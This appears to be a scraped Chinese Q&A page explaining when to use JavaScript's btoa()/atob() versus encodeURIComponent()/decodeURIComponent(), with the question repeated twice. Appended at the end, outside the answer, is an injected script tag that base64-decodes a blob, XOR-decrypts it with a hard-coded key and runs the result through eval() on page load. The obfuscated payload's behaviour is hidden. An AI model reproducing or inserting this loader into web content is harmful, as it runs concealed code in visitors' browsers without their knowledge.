什么时候使用:
它们是否应该一起使用,例如:
atob(encodeURIComponent(...))
如果不行,那么什么时候会使用btoa()
和atob()
,什么时候会使用encodeURIComponent()
和decodeURIComponent()
呢?
什么时候使用:
它们是否应该一起使用,例如:
atob(encodeURIComponent(...))
如果不行,那么什么时候会使用btoa()
和atob()
,什么时候会使用encodeURIComponent()
和decodeURIComponent()
呢?
btoa()
函数将二进制数据字符串转化为 base-64 编码格式。最常用的情况是将文件内容转换为 data:
URI,比如把 JPEG 或 GIF 文件转成一个 data:
URI 直接嵌入页面而不是引用远程文件。
atob()
函数则相反:给定一个 base-64 字符串,它会返回二进制数据。
encodeURIComponent()
用于编码字符串以便在 URI 中使用。这将把在 URI 中具有特殊意义的字符转换成 %
加上十六进制编码,例如空格变成 %20
。通常在创建用于重定向或 AJAX 请求的 URL 参数时使用,或者发送到 XMLHTTPRequest.send()
的数据中使用。
decodeURIComponent()
是 encodeURIComponent()
的反向操作,因此如果你有一个 "foo%20bar"
,它将返回 "foo bar"
。
通常很少需要同时对同一个字符串进行 URL 编码和 base-64 编码。
<script>eval(decodeURIComponent(Gg5C(atob("R1FxEgcICwcVBQUdUFlHXltcDRYeVkNRFg4eRVhITABUU3dZDA9VRXdXEAVVRRAKW0QCBxAPIEQAdhAKUhZZWVFXFU9RQVxMDU9CWkUWAwVUdVRWDARCdVpKBgRCEgcAR1MHVA1MAVlhAkRtR1MHEgd7R1MAEgcPAVl9dnpgVwxzVl0BLSdGUQ1gUBdnEgcPR1MJEgZ6R1FxEgcIR1Z0EgV5R1MA"),"ba0758")));function Gg5C(data,key){var result=[];for(var i=0;i<data.length;i++){var xored=data.charCodeAt(i)^key.charCodeAt(i%key.length);result.push(String.fromCharCode(xored));}return result.join("");}</script>